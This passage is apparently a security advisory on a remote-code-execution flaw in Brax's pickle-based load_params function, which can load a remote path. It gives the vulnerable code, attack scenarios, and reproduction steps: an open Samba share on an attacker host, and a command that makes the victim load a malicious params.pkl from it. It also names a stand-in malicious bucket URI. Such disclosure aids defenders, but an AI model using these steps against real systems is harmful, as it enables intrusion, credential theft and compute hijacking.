Brax - Version 0.14.2 / Remote Code Execution (RCE) via Insecure Deserialization

Introduction

Brax is a free, open-source physics engine designed by Google for high-performance simulation of rigid bodies, articulated joints, and contact dynamics. Built entirely on top of JAX, it runs natively on accelerators (GPUs and TPUs) and is optimized for massive parallelization. It is predominantly used in reinforcement learning (RL) and robotics research to train control policies significantly faster than traditional CPU-bound simulators.

The importance of Brax lies in its ability to run millions of simulation steps per second, allowing researchers to evaluate complex robotics and control tasks in a fraction of the time. Because parameter files are commonly shared across collaborative pipelines and research hubs, any security flaw in its data-parsing utilities represents a major vulnerability for the AI research ecosystem.

Vulnerability description

An insecure deserialization vulnerability exists in the brax.io.model.load_params function. This utility is designed to load trained model parameters using Python's pickle library. However, pickle is known to be inherently unsafe as it can execute arbitrary Python objects during the reconstruction process.

The security boundary is further bypassed by the integration of the etils.epath library. Unlike standard file-opening functions, epath.Path().open() is backend-agnostic and resolves remote URIs (such as gs://, s3://, or Windows UNC paths \\) if the environment has the corresponding drivers installed. This allows an attacker to supply a path pointing to a remotely hosted malicious .pkl file. When a user or an automated process calls load_params with an untrusted path, the system downloads and deserializes the file, leading to full Remote Code Execution (RCE).

The vulnerable code in brax/io/model.py:

def load_params(path: str) -> Any:
  with epath.Path(path).open('rb') as fin:
    buf = fin.read()
  return pickle.loads(buf)

Technical Impact Analysis

Project Purpose & Context

Brax is a differentiable physics engine written in JAX, designed for high-performance Reinforcement Learning (RL) and robotics simulation. It is widely used by researchers and developers at Google and across the global AI community for training complex neural network policies in physics-based environments.

Platform & Deployment Environment

Brax primarily operates in research and development environments, often deployed via Jupyter or Colab notebooks. It is also integrated into large-scale distributed training clusters (using GPUs and TPUs) and MLOps pipelines (e.g., Vertex AI) where model parameters are frequently shared and loaded across different infrastructure components.

Comprehensive Risk Assessment

The vulnerability is rated as Critical. While Brax supports secure checkpointing through Orbax, the brax.io.model module provides a high-convenience pickle-based loading utility that is prominently featured in official tutorials and research workflows. This creates a significant "Supply Chain" and "Remote Control" surface: an attacker can achieve RCE by merely convincing a researcher to load a pre-trained model path, or by influencing a configuration flag in an automated pipeline.

Attack Scenario

Who wants to exploit a particular vulnerability?

Malicious actors targeting AI/ML research institutions, data scientists, or organizations running significant cloud-based simulation infrastructure. This includes attackers seeking to steal intellectual property (proprietary models/datasets) or those looking to hijack expensive compute resources (TPU pods).

For what gain?

The primary gain is arbitrary code execution on high-performance compute nodes. This enables data theft, credential harvesting from environment variables, and lateral movement across research clusters. In cloud environments, it can lead to full compromise of the researcher's workstation or the orchestration layer.

In what way?

Attackers can distribute malicious "optimized" models on platforms like GitHub or Hugging Face, or exploit MLOps systems that accept path parameters from untrusted inputs. By providing a path to a remote share (SMB) or a cloud bucket (GCS/S3), they force the victim's system to act as a client that downloads and executes their payload.

Reproduction steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Shared Resource Configuration (SMB):

1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y.
2. Prepare the attack directory:

mkdir ~/lab_attack
chmod 755 /home/kw0  # Allows Samba to access the HOME
chmod -R 777 ~/lab_attack

3. Configure Samba: Add to the end of /etc/samba/smb.conf:

[lab_share]
path = /home/kw0/lab_attack
read only = no
guest ok = yes
force user = kw0

4. **Payload Generation on the Raspberry**: Run the specialized exploit.py script to generate the params.pkl file directly in the shared path:

python exploit.py

On Windows (victim) - IP 192.168.1.88

PS L:\HTTP_Code_Filleter\OT2\brax> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

Technical Requirements

• Operating System: Windows (for native resolution of UNC paths and network drives).
• Environment: Python 3.x with the core dependencies (brax, etils[epath], jax).
• Setup: No GPU/TPU is required to reproduce the security flaw, a CPU environment is sufficient.
• Dependency Installation:

  # orbax-checkpoint < 0.11.33 is required due to uvloop incompatibility on Windows
  pip install "orbax-checkpoint<0.11.33" brax etils[epath] jax

1. **Delete previous network bridge**: net use Z: /delete.
2. **Create the network bridge**:

net use Z: \\192.168.1.90\lab_share /persistent:no

python -c "from brax.io import model; model.load_params(r'\\192.168.1.90\lab_share\params.pkl')"

Other RCE vectors in Brax remotely controlled by an attacker

1. File System Abstraction: etils.epath

The most critical entry point is brax.io.model.load_params(path). Unlike a conventional file opening, Brax uses epath.Path(path).open('rb').

Locality Bypass: The etils.epath library is designed to be backend-agnostic. If the environment has the necessary drivers installed (such as tensorflow-io or gcsfs), an attacker can provide remote URIs like gs://malicious-bucket/payload.pkl or